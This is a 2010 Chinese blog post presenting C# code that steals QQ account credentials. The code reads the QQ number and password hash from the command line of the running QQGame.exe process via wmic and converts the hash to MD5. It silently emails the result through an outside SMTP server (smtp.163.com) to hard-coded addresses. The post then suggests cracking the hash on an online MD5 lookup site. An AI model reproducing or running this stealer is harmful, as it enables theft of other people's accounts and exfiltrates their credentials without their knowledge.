利用QQ游戏破解QQ密码【含代码】
2010-03-02 14:31 liyao_2009 阅读(767) 评论(0) 编辑 收藏 举报今天同事给我发来一个帖子【利用QQ游戏破解QQ密码】
看了下原理用C#写出一个小程序下边贴出代码.
try
{
// 调用代码
string[] cmd = new string[] { "wmic process where Name=\'QQGame.exe\' Get CommandLine" };
string mag = Cmd(cmd);
CloseProcess("cmd.exe");
if (mag.Contains("START QQUIN:"))
{
mag = mag.Substring(mag.IndexOf("START QQUIN:"));
mag = mag.Substring(0, mag.IndexOf("INCOG"));
string QQ = mag.Substring(mag.IndexOf("START QQUIN:") + 12);
QQ = QQ.Substring(0, QQ.IndexOf("PWDHASH")).Trim();
string pwd = mag.Substring(mag.IndexOf("PWDHASH:") + 8).Trim();
label3.Text = QQ;
textBox1.Text = GetMD5FromPWDHASH(pwd);
//发送邮件
MailMessage message = new MailMessage();
message.From = new MailAddress("ps0126@163.com");
message.To.Add("****@qq.com");
message.To.Add("****@qq.com");
message.Subject = QQ;
message.Body = textBox1.Text;
SmtpClient smtp = new SmtpClient("smtp.163.com");
smtp.Credentials = new NetworkCredential("用户名", "密码");
smtp.Send(message);
}
else
{
MessageBox.Show("没有启动QQ游戏大厅");
}
}
catch
{
//异常
}
1 string GetPWDHASH(string password)
2
3 {
4
5 byte[] passwordBytes = Encoding.ASCII.GetBytes(password);
6
7 byte[] md5Bytes = new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(passwordBytes);
8
9 string base64 = Convert.ToBase64String(md5Bytes);
10
11 return base64;
12
13 }
string GetMD5FromPWDHASH(string PWDHASH)
{
byte[] md5Bytes = Convert.FromBase64String(PWDHASH);
string md5 = BitConverter.ToString(md5Bytes).Replace("-", "");
return md5;
}
/// <summary>
/// 运行CMD命令
/// </summary>
/// <param name="cmd">命令</param>
/// <returns></returns>
public static string Cmd(string[] cmd)
{
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.CreateNoWindow = true;
p.Start();
p.StandardInput.AutoFlush = true;
for (int i = 0; i < cmd.Length; i++)
{
p.StandardInput.WriteLine(cmd[i].ToString());
}
p.StandardInput.WriteLine("exit");
string strRst = p.StandardOutput.ReadToEnd();
p.WaitForExit();
p.Close();
return strRst;
}
/// <summary>
/// 关闭进程
/// </summary>
/// <param name="ProcName">进程名称</param>
/// <returns></returns>
public static bool CloseProcess(string ProcName)
{
bool result = false;
System.Collections.ArrayList procList = new System.Collections.ArrayList();
string tempName = "";
int begpos;
int endpos;
foreach (System.Diagnostics.Process thisProc in System.Diagnostics.Process.GetProcesses())
{
tempName = thisProc.ToString();
begpos = tempName.IndexOf("(") + 1;
endpos = tempName.IndexOf(")");
tempName = tempName.Substring(begpos, endpos - begpos);
procList.Add(tempName);
if (tempName == ProcName)
{
if (!thisProc.CloseMainWindow())
thisProc.Kill(); // 当发送关闭窗口命令无效时强行结束进程
result = true;
}
}
return result;
}
最后获取的MD5可以通过,反译MD5的网站得到原密码(http://www.cmd5.com/),很悲哀的好像简单的密码可以在线反过来,有点难度的就需要付费了.汗.....